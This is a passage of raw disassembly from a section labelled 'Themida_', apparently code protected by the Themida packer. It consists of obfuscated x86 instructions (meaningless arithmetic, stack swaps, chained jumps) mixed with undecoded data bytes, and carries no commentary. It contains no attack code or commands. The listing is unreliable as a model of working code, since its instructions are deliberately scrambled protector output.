		dec	ebx
		xor	ebx, 1CC82F52h
		neg	ebx
		add	ebx, 5098E161h
		mov	esi, ebx
		pop	ebx
		jmp	loc_55B4A1
; ---------------------------------------------------------------------------
		dd 4C681h, 0A2E90000h, 8100004Dh, 4ECh,	24148900h, 4BAh
		dd 0FFD30100h, 815A2434h, 4C4h,	241C8700h, 0F24248Bh, 0EC81C8B6h
		dd 4, 89241489h, 4C281E2h, 81000000h, 4ECh, 851FE900h
		dd 0E95E0000h, 43D6h, 335DEB01h, 1C31241Ch, 241C3324h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 70EB5123h
		jmp	loc_553C2B
; ---------------------------------------------------------------------------


loc_5562B5:				; CODE XREF: Themida_:005617E5j
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	eax
		jmp	loc_5572D4
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 689159BAh, 10CBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5562D1:				; CODE XREF: Themida_:00553D07j
		dec	edi
		shr	edi, 2
		sub	edi, 9E9E77E5h
		jmp	loc_567E96
; ---------------------------------------------------------------------------
		dd 242C895Ch, 0C581E589h, 4, 0B340E950h, 0C890000h, 86A0E924h
		dd 83560000h, 48904ECh,	8DB95124h, 0B8333D35h, 3ED8DAD7h
		dd 0F759C801h, 8886E9D8h, 83B00000h, 0C6082D34h, 0D3D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_556321:				; CODE XREF: Themida_:00558FEAj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	esi
		jmp	loc_556E21
; ---------------------------------------------------------------------------
word_556336	dw 8B66h		; DATA XREF: Themida_:00552A28o
		dd 9CE9240Ch, 5C000000h, 0FFF651E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556345:				; CODE XREF: Themida_:00562D4Ej
		mov	[esp], edx
		push	2AE8h
		mov	[esp], ecx
		mov	ecx, 770704FAh
		mov	edx, ecx
		pop	ecx
		xor	edx, 1CDD7C03h
		push	ecx
		mov	ecx, 74A71E34h
		dec	ecx
		inc	ecx
		dec	ecx
		and	ecx, 2EF55CBAh
		sub	ecx, 27FC6E2Eh
		xor	ecx, 8ED9A13Bh
		add	edx, ecx
		jmp	loc_5538AB
; ---------------------------------------------------------------------------


loc_556380:				; CODE XREF: Themida_:00563EDDj
		mov	eax, [esp]
		jmp	loc_5609E8
; ---------------------------------------------------------------------------
		dd 4B0EBE56h, 0DBE960F2h, 80000025h, 0CCFEDEC4h, 0C480C4FEh
		dd 0E78853CAh, 585BFD88h, 0FFFB19E9h, 2D468FFh,	34890000h
		dd 0F6EEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5563B6:				; CODE XREF: Themida_:00561414j
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		push	10B6110Fh
		jmp	loc_556A58
; ---------------------------------------------------------------------------
		db 68h
		dd 79C7h, 11A4BE9h, 796C6800h, 2C890000h, 0C3BD6624h, 313E93Dh
		dd 0F1800000h, 0F5EF8087h, 10E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_556401:				; CODE XREF: Themida_:00567F73j
		xor	ah, 7Ch
		or	bh, ah
		pop	eax
		jmp	loc_5569DE
; ---------------------------------------------------------------------------


loc_55640C:				; CODE XREF: Themida_:0055A06Aj
		add	eax, 17FB28A4h
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5574C1
; ---------------------------------------------------------------------------
		dd 5A19C781h, 5AE94344h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556437:				; CODE XREF: Themida_:0056062Ej
		sub	edi, 78AE3011h
		jmp	loc_5569A3
; ---------------------------------------------------------------------------
		dw 0DCBDh
		dd 0E909D715h, 0FFFFD0DBh, 4919E281h, 0EA8146EAh, 1765E597h
		dd 2295E9h, 4C38100h, 83000000h, 1C8704EBh, 24248B24h
		dd 53240489h, 6E9D788h,	5AFFFFE5h, 50C1F581h, 525322F1h
		dd 0FFFFFFBAh, 5AD389FFh, 3FE9DD01h, 5BFFFFD5h,	8324348Bh
		dd 0E38104C4h, 108C7775h, 5607EBC1h, 24537CBEh,	0EEE8163h
		dd 681ED035h, 0
		dd 5E243429h, 5607E6C1h, 0FFE45FE9h, 77E95DFFh,	89000023h
		dd 0B568243Ch, 5F1BD448h, 35D1F781h, 0CF813AF9h, 71734D9Dh
		dd 1495E9h, 24248B00h, 24048966h, 0FFC6D2E9h, 0B5ED81FFh
		dd 8105D068h, 0BC75DEEDh, 0CD815E33h, 0F9D6528h, 235AED81h
		dd 0EDC103E1h, 0E7CD8108h, 810AF704h, 1B649EC5h, 8C13E91Ch
		dd 3F680000h, 5E7D5A35h, 6AF6814Eh, 89687E69h, 0FF72E9F1h
		dd 68680000h, 89000061h, 2BA2414h, 0E9000000h, 1F84h, 0EE19F681h
		dd 8CE99778h, 55000047h, 364CEEBDh, 5DEA892Ah, 0D33AEA81h
		dd 0D629F9C7h, 0A8BA525Ah, 0E94E28B1h, 1145Bh, 83240C8Bh
		dd 448104C4h, 310A0424h, 7C0174B5h, 6C810424h, 310A0424h
		dd 93E974B5h, 5700005Dh, 83E9E789h, 550000A8h, 4BDh, 5DEA0100h
		dd 5C241487h, 0D965E9h,	0E9515F00h, 0FFFFDDE6h
; ---------------------------------------------------------------------------


loc_5565A4:				; CODE XREF: Themida_:0055E1E7j
		mov	edx, 0A2D4EA0h
		add	eax, edx
		pop	edx
		add	eax, 250F7827h
		sub	eax, 55560209h
		add	eax, edi
		add	eax, 55560209h
		sub	eax, 250F7827h
		sub	eax, 0A2D4EA0h
		add	eax, 2D7940CFh
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56017A
; ---------------------------------------------------------------------------
		dd 0E981E901h, 43A47F55h, 0E9242C8Bh, 0FFFFF3D5h
; ---------------------------------------------------------------------------


loc_5565F0:				; CODE XREF: Themida_:00554CD9j
		sub	ecx, esi
		jmp	loc_559593
; ---------------------------------------------------------------------------


loc_5565F7:				; CODE XREF: Themida_:00553ADBj
		pop	dword ptr [esp]
		jmp	loc_555E2C
; ---------------------------------------------------------------------------
		db 55h
		dd 0FA475EBDh, 2CCD8149h, 0E9090833h, 436Fh, 5A545255h
		dd 7BE6E9h, 4896600h, 80D2B024h, 0C30046EBh, 0E946C380h
		dd 0BB0Bh
; ---------------------------------------------------------------------------


loc_55662C:				; CODE XREF: Themida_:00557B05j
		shr	eax, 10h
		xor	eax, ecx
		push	3AFh
		mov	[esp], eax
		push	1E22h
		mov	[esp], ebx
		jmp	loc_55F433
; ---------------------------------------------------------------------------


loc_556646:				; CODE XREF: Themida_:005537AAj
		xor	ebx, 833C50E1h
		push	eax
		mov	eax, 778230AFh
		xor	eax, 419C7EE4h
		neg	eax
		neg	eax
		add	eax, 0F47516Bh
		xor	eax, 5C944A36h
		jmp	loc_55B607
; ---------------------------------------------------------------------------
		dw 2FB2h
		dd 0FFD9E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556671:				; CODE XREF: Themida_:0055C8C6j
		dec	edx
		add	edx, 0AE4CD175h
		add	ebx, edx
		pop	edx
		jmp	loc_5558C1
; ---------------------------------------------------------------------------


loc_556680:				; CODE XREF: Themida_:00558CF6j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_56237B
; ---------------------------------------------------------------------------
aASx		db 'аМ',8,'Иx;',0
		align 4
		dd 83241C8Bh, 1CE904C4h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55669F:				; CODE XREF: Themida_:005629F5j
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	dword ptr [esp+4], 48391161h
		add	[esp+4], edi
		jmp	loc_55584F
; ---------------------------------------------------------------------------


loc_5566C8:				; CODE XREF: Themida_:0055338Cj
		mov	esi, [esp]
		jmp	loc_561CCA
; ---------------------------------------------------------------------------
		dd 0B6241489h, 9CC68087h, 5855E9h
		db 0
; ---------------------------------------------------------------------------


loc_5566DD:				; CODE XREF: Themida_:0055A6EFj
		add	esi, 4
		jmp	loc_5576DB
; ---------------------------------------------------------------------------
		dd 54241C89h, 0FFF873E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5566F1:				; CODE XREF: Themida_:0055BD44j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	435Ah
		mov	[esp], esi
		jmp	loc_5653DB
; ---------------------------------------------------------------------------
		db 66h,	68h, 0
		dd 2C296600h, 2C8B6624h, 2C48324h, 68665066h, 70E97C32h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556723:				; CODE XREF: Themida_:00568185j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 28283906h
		push	731Eh
		mov	[esp], edx
		mov	edx, 1EDF5770h
		jmp	loc_56718A
; ---------------------------------------------------------------------------
		db 87h
		dd 15C2404h, 58042444h,	0E9240401h, 0FFFFECE5h
; ---------------------------------------------------------------------------


loc_556760:				; CODE XREF: Themida_:0055B2D6j
		and	edx, 49B52367h
		add	edx, 3A5F0378h
		add	esi, edx
		pop	edx
		add	esi, 60AC8F99h
		add	ebx, esi
		jmp	loc_55B400
; ---------------------------------------------------------------------------
aIchO		db '┴Гh╤O',0
		dw 8900h
		dd 4B82404h, 1000000h, 0C78358C7h, 243C8704h, 692C685Ch
		dd 34890000h, 815E5424h, 4ECh, 241C8900h, 306F68h, 53B4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5567B2:				; CODE XREF: Themida_:005671D6j
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56190B
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 53ECh, 2EBD6655h, 0F5816602h, 2EE9497Bh
		dd 50000018h, 1B8h, 1A13E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5567E6:				; CODE XREF: Themida_:00552FBFj
		sub	ebp, ecx
		add	ebp, 11066006h
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	1D35838Dh
		jmp	loc_566652
; ---------------------------------------------------------------------------
word_556802	dw 34FFh		; DATA XREF: Themida_:00552A9Co
		dd 54505824h, 38BB5358h, 81619305h, 0EF752CEBh,	18C38153h
		dd 0E90E0E65h, 81F7h
; ---------------------------------------------------------------------------


loc_556820:				; CODE XREF: Themida_:00565DC7j
		not	al
		sub	esp, 2
		jmp	loc_5576C9
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 242C875Ah, 27E9555Ch
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556837:				; CODE XREF: Themida_:0055364Fj
		add	ecx, 74BB2970h
		sub	ecx, 669E644Bh
		add	ecx, eax
		add	ecx, 669E644Bh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 74BB2970h
		sub	ecx, eax
		pop	eax
		mov	eax, [esp]
		jmp	loc_56108F
; ---------------------------------------------------------------------------


loc_556864:				; CODE XREF: Themida_:0055ECE2j
		add	esp, 4
		add	esi, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56729F
; ---------------------------------------------------------------------------


loc_556874:				; CODE XREF: Themida_:0055C993j
		push	39C7h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562593
; ---------------------------------------------------------------------------


loc_556891:				; CODE XREF: Themida_:0055F46Fj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55827A
; ---------------------------------------------------------------------------


loc_5568B9:				; CODE XREF: Themida_:0056314Aj
		not	edi
		xchg	eax, edi
		push	eax
		mov	eax, esp
		jmp	loc_55FE97
; ---------------------------------------------------------------------------


loc_5568C4:				; CODE XREF: Themida_:00555DF7j
		push	eax
		mov	eax, 79F86F5Fh
		neg	eax
		dec	eax
		add	eax, 0DC0488FDh
		dec	eax
		jmp	loc_55C8CB
; ---------------------------------------------------------------------------


loc_5568D8:				; CODE XREF: Themida_:00554509j
		push	edx
		mov	edx, 9FB44E3h
		jmp	loc_5554F2
; ---------------------------------------------------------------------------
byte_5568E3	db 0FFh			; DATA XREF: Themida_:00552908o
		dd 34FF2434h, 54505824h, 40558h, 4050000h, 33000000h, 0FEE92404h
		db 2, 1, 0
; ---------------------------------------------------------------------------


loc_5568FF:				; CODE XREF: Themida_:0055DC90j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_5642CE
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2, 555BDD01h, 9BE95D54h, 0FFFFE7h, 0B35366D8h, 0E6BAE9D8h
		dd 0BB53FFFFh, 1FF53E70h, 0E5E9DA89h
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_556943:				; CODE XREF: Themida_:00553B69j
		add	ebx, 4
		jmp	loc_554525
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4586340Ch, 49266853h, 2C890000h, 1F96BD24h, 7FE97ED4h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556967:				; CODE XREF: Themida_:0055EBF3j
		mov	ebp, 54C36B0Dh
		jmp	loc_55D7BE
; ---------------------------------------------------------------------------


loc_556971:				; CODE XREF: Themida_:00561652j
		sub	ecx, 424E1F5Dh
		push	145Bh
		mov	[esp], edx
		mov	edx, 0AC2D0A9h
		jmp	loc_55D0D5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 49h
		dd 171BF78h, 1C8B5FF8h,	0E6895624h, 4C681h, 0A5E90000h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_5569A3:				; CODE XREF: Themida_:0055643Dj
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		xchg	edi, [esp]
		pop	esp
		div	cx
		push	small 72EBh
		mov	[esp], dx
		jmp	loc_55D90B
; ---------------------------------------------------------------------------


loc_5569BE:				; CODE XREF: Themida_:00563B21j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_563EC7
; ---------------------------------------------------------------------------
		dd 8103E1C1h, 870759F1h, 3034E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5569DE:				; CODE XREF: Themida_:00556407j
		add	bh, 78h
		add	dh, bh
		pop	bx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bh, 2Ch
		jmp	loc_558F44
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 231DE7F3h, 81D3F74Ah, 74359CC3h, 5BD829B7h, 0FF2434FFh
		dd 555A2434h, 0FE34E954h, 1C8B0000h, 5D1EE924h,	0EB830000h
		dd 241C3304h, 14ABE9h, 81E58900h, 4C5h,	4ED8100h, 55000000h
		dd 0D97BE9h, 68516600h,	1225h, 1500E9h
		db 0
byte_556A49	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00552904o
		dd 8904EC83h, 0E9552434h, 0FFFFD1A1h
; ---------------------------------------------------------------------------


loc_556A58:				; CODE XREF: Themida_:005563D6j
		pop	edi
		inc	edi
		push	ebp
		mov	ebp, 10B6110Fh
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_55C9D7
; ---------------------------------------------------------------------------
		db 68h,	70h, 29h
		dd 0CE94B5Ah, 810000B3h, 0A53D01C1h, 0BF318108h, 8B2EBC46h
		dd 0C483240Ch, 0C39D6104h, 0FFC10AE9h, 0A8BE56FFh, 814D571Eh
		dd 21709CC6h, 5EF031A6h, 158C231h, 2434FFD1h, 9D19E9h
		dd 0E9D6F700h, 0FFFFE82Eh, 5762F581h, 0C5814FF0h, 219E632Dh
		dd 4FB9E581h, 5EE95DAEh
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556AEB:				; CODE XREF: Themida_:005655BDj
		push	ecx
		mov	ecx, 6B1D26EEh
		sub	edx, 5C527AEh
		add	edx, ecx
		jmp	loc_555ABE
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 5AD50096h, 0FE59EE28h, 0B15166CEh, 858CE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556B12:				; CODE XREF: Themida_:00563122j
		push	20594D69h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_563A35
; ---------------------------------------------------------------------------
aMhW		db '╛h╫W',0             ; DATA XREF: Themida_:005529C0o
		align 4
		dd 50240C89h, 0DCF64BB4h, 0FFF85AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B39:				; CODE XREF: Themida_:0055E2CDj
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0B272902h, 0FFD57EE9h, 6CA1BFFFh, 0EFD127E9h, 0C505F781h
		dd 0E3E94D83h, 2900008Fh, 0DE0158C6h, 9C7BD55h,	0ED813645h
		dd 19600848h, 789DEE81h, 67E90AF7h, 5A000041h, 0D8F7D0F7h
		dd 0B405A92Dh, 761F2523h, 7E929D3h, 8900001Ch, 84BFE9C3h
		dd 0F1810000h, 45283D50h, 0E7AEE981h, 0C801A0BDh, 16F0E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556BA6:				; CODE XREF: Themida_:0055B70Fj
		pop	ebp
		add	ebx, edi
		sub	ebx, 485714BBh
		add	ebx, 573301Ch
		jmp	loc_559FD6
; ---------------------------------------------------------------------------


loc_556BBA:				; CODE XREF: Themida_:0055F89Ej
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_565B0A
; ---------------------------------------------------------------------------
dword_556BC8	dd 240C8B66h, 0DBD9E957h, 148B0000h, 4C48324h, 4C281h
					; DATA XREF: Themida_:00552A48o
		dd 0EA830000h, 4C276804h, 57E90000h, 8F000021h,	0F3E92404h
		dd 520000F1h, 4EC81h, 0C890000h, 5021B524h, 0EF14E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C05:				; CODE XREF: Themida_:00561939j
		sub	eax, ecx
		pop	ecx
		add	eax, 8E00BC6h
		dec	eax
		jmp	loc_554600
; ---------------------------------------------------------------------------
byte_556C13	db 0FFh			; DATA XREF: Themida_:00552B70o
		dd 0C8B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55EDE7
; ---------------------------------------------------------------------------
		db 58h,	8Bh, 1Ch
aS1_		db '$И1_',0
		align 2
		dw 1668h
		dd 0E913F711h, 0FFFFC2CFh, 4BAh, 5AD72900h, 0E9243C87h
		dd 2AABh, 0C75F03B9h, 3365E927h, 0CD890000h, 8BEB2959h
		dd 0C483242Ch, 7EA5E904h, 0E9540000h, 1017Dh, 5156E089h
		dd 4D5982B9h, 86BA521Ch, 891C4D59h, 0CE315AD6h,	51240C8Bh
		dd 0C181E189h, 4, 10571E9h, 0AEF68100h,	0E9930A78h, 0FFFFC719h
		dd 89240C89h, 4C181E1h,	81000000h, 4ECh, 4649E900h, 315D0000h
		dd 242C8BEFh, 5304C483h, 1BBh, 0E9DF2900h, 843Ch, 0A5E9D301h
		db 69h,	2 dup(0)
byte_556CC7	db 0ADh			; DATA XREF: Themida_:005529C8o
		dd 0A469A005h, 0BDE95639h, 810000A4h, 4D5EA9C3h, 0B9515552h
		dd 5CE40BDBh, 391C9EBDh, 876BE99Ah, 2B90000h, 2D000000h
		dd 0C8B3B35h, 0FFDCB7E9h, 2EC81FFh, 66000000h, 0B6241489h
		dd 9B45E903h, 5E050000h, 56092B1Eh, 282AEDBEh, 9E35E92Fh
		dd 0CD310000h, 68240C8Bh, 271Dh, 4769E9h
		db 0
byte_556D29	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:00552AC4o
		dd 0FFBE8AE9h, 240428FFh, 5724048Ah, 0C7815F54h, 4, 8702C783h
		dd 248B243Ch, 3F2C24h, 0E2C058C2h, 80D2F604h, 0E9534ACAh
		dd 8718h
; ---------------------------------------------------------------------------


loc_556D5C:				; CODE XREF: Themida_:005594BFj
		add	esi, 1A8E59FFh
		push	62FBh
		mov	[esp], esi
		push	eax
		mov	eax, 2875C87h
		push	492Ah
		mov	[esp], ebx
		mov	ebx, 7F71DA8h
		add	dword ptr [esp+8], 448A3D84h
		sub	[esp+8], ebx
		sub	dword ptr [esp+8], 448A3D84h
		pop	ebx
		sub	[esp+4], eax
		push	esi
		mov	esi, 7F71DA8h
		sub	dword ptr [esp+8], 393622DCh
		sub	dword ptr [esp+8], 3CF23D5Eh
		add	[esp+8], esi
		jmp	loc_55E2ED
; ---------------------------------------------------------------------------


loc_556DB5:				; CODE XREF: Themida_:00555159j
		pop	edx
		pop	eax
		shr	edx, 4
		jmp	loc_553C91
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 43B1E95Ch
		db 2 dup(0)
word_556DCE	dw 8B66h		; DATA XREF: Themida_:00552A20o
		dd 0FCE9240Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556DD7:				; CODE XREF: Themida_:005570A7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5537EE
; ---------------------------------------------------------------------------


loc_556DE9:				; CODE XREF: Themida_:00554C87j
		sub	eax, 170C6F24h
		push	10E7h
		jmp	loc_55357D
; ---------------------------------------------------------------------------
		dd 0FF5FFD29h, 0C8B2434h, 4C48324h, 4C481h, 0BA520000h
		dd 2, 7887E9h, 2817B800h, 0C701116Ch, 0CDC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_556E21:				; CODE XREF: Themida_:00556331j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	15377E90h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56728A
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 50000000h, 4B8h, 0E9C20100h,	0FFFFD7A3h
; ---------------------------------------------------------------------------


loc_556E54:				; CODE XREF: Themida_:0055FB7Bj
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_558FA6
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 2D116804h, 34890000h, 8AE95424h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E77:				; CODE XREF: Themida_:00565195j
		mov	bh, 0Ch
		jmp	loc_55EB3D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0AEF3648h, 4467BA52h, 0EAD152F5h, 0B55AE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E91:				; CODE XREF: Themida_:00558835j
		pop	edi
		mov	edi, esi
		jmp	loc_567EE6
; ---------------------------------------------------------------------------
aUhFz_lSsa	db 'Uh╟F╖_▀,$И≥A',0
		db 0
; ---------------------------------------------------------------------------


loc_556EA7:				; CODE XREF: Themida_:00554D50j
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_55B514
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0DCh
		dd 0D15E4216h, 78E981E9h, 0F71CB00Bh, 0FBC181D1h, 11270FFh
		dd 0C152E9CBh, 0F587FFFFh, 0A6F5815Eh, 0F771FF17h, 49C581DDh
		dd 1A5A7CFh, 0C8015DE9h, 0B77DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556EF1:				; CODE XREF: Themida_:0055C387j
		mov	eax, 0
		jmp	loc_5671E2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812424h, 4, 89241C89h, 2AE0E9E3h,	0E8680000h, 8900005Eh
		dd 8BE92404h, 500000F6h, 0B498A9B8h, 5FCDE97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F26:				; CODE XREF: Themida_:00554B51j
		mov	[esp], edx
		push	eax
		push	6B37h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_55FE09
; ---------------------------------------------------------------------------


loc_556F3F:				; CODE XREF: Themida_:005576ECj
		add	esi, 4
		jmp	loc_5580C3
; ---------------------------------------------------------------------------


loc_556F4A:				; CODE XREF: Themida_:00557768j
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	568Fh
		mov	[esp], ecx
		push	esp
		jmp	loc_55D5F3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 5FE943B7h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556F7F:				; CODE XREF: Themida_:00555A63j
		push	dword ptr [esp]
		jmp	loc_562E72
; ---------------------------------------------------------------------------


loc_556F87:				; CODE XREF: Themida_:00562609j
		xor	ebx, [esp]
		jmp	loc_567395
; ---------------------------------------------------------------------------


loc_556F8F:				; CODE XREF: Themida_:00562304j
		pop	eax
		xor	dh, 0DFh
		xor	al, dh
		pop	edx
		sub	bl, 0Fh
		add	bl, 99h
		jmp	loc_55531A
; ---------------------------------------------------------------------------
		dd offset dword_457444+0D24h
		align 2
		dw 5FE9h
		dd 0E900003Ch, 0FFFFBC0Bh
; ---------------------------------------------------------------------------


loc_556FB0:				; CODE XREF: Themida_:0055CB4Fj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], cx
		mov	cl, 1Bh
		sub	al, 0F6h
		sub	al, 89h
		add	al, cl
		add	al, 89h
		add	al, 0F6h
		pop	cx
		push	1E48h
		jmp	loc_558BC5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815B24h, 4, 0E9241433h, 10593h, 0E924048Bh, 9FA4h
; ---------------------------------------------------------------------------


loc_556FF0:				; CODE XREF: Themida_:00554DDCj
		push	ebx
		mov	ebx, 12F16758h
		mov	ebp, ebx
		pop	ebx
		mov	edx, 24F28BEFh
		sub	edx, ebp
		jmp	loc_557312
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4BF57h, 96E90000h, 53000009h, 8A90E9h
		db 0
; ---------------------------------------------------------------------------


loc_557019:				; CODE XREF: Themida_:0055485Fj
		mov	ebp, [esp]
		push	0BF7h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	edi, ebx
		neg	edi
		xchg	edi, ebx
		push	ebp
		push	ecx
		mov	ecx, 175E381Ch
		or	ecx, 3CE1730h
		xor	ecx, 0CB52AF4Fh
		jmp	loc_564822
; ---------------------------------------------------------------------------


loc_557051:				; CODE XREF: Themida_:0055E48Fj
		xor	ebx, edi
		pop	edi
		dec	ebx
		shl	ebx, 1
		push	ebp
		mov	ebp, 3A2E61D2h
		shr	ebp, 7
		and	ebp, 574F3ECCh
		shl	ebp, 2
		shl	ebp, 3
		xor	ebp, 437AFE6h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, ebx
		pop	ebx
		sub	edi, 41CE2966h
		add	edi, esi
		add	edi, 41CE2966h
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	esi, 4
		sub	esi, 833B9BD0h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_556DD7
; ---------------------------------------------------------------------------


loc_5570AC:				; CODE XREF: Themida_:00565A76j
		push	dword ptr [esp]
		pop	eax
		push	914h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_561C76
; ---------------------------------------------------------------------------
aQsu		db 'QИ⌠е',0
		dw 8700h
		dd 0E95C243Ch, 0FFFFC122h, 240C8B5Bh, 4BCAE951h, 80590000h
		dd 0F280FAC2h, 66CAFE84h, 30AEB551h, 685966EAh,	2242h
		dd 0B1240C89h, 0D18BE9E8h, 0B4BD0000h, 173FB02h, 0F29CE9E9h
		dd 0E3C10000h, 0EEBE5606h, 811F8C07h, 360594E6h, 79E9466Eh
		dd 89000015h, 4C681E6h,	83000000h, 348704C6h, 1C335C24h
		dd 241C3124h, 5C241C33h, 240C8B66h, 0AC55E9h, 20E95800h
		dd 0BB000001h, 4D3951ADh, 4933EB81h, 0EB812348h, 0EF86FC4Ch
		dd 5EE9DF29h, 0B90000F6h, 2B996632h, 4859C889h,	70FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55716D:				; CODE XREF: Themida_:0055BDDFj
		or	esi, 21D36194h
		xor	esi, 17872F4Eh
		dec	esi
		xor	esi, 8F6250A4h
		jmp	loc_561E4C
; ---------------------------------------------------------------------------


loc_557185:				; CODE XREF: Themida_:0055F981j
		pop	esp
		sub	esp, 4
		jmp	loc_554C26
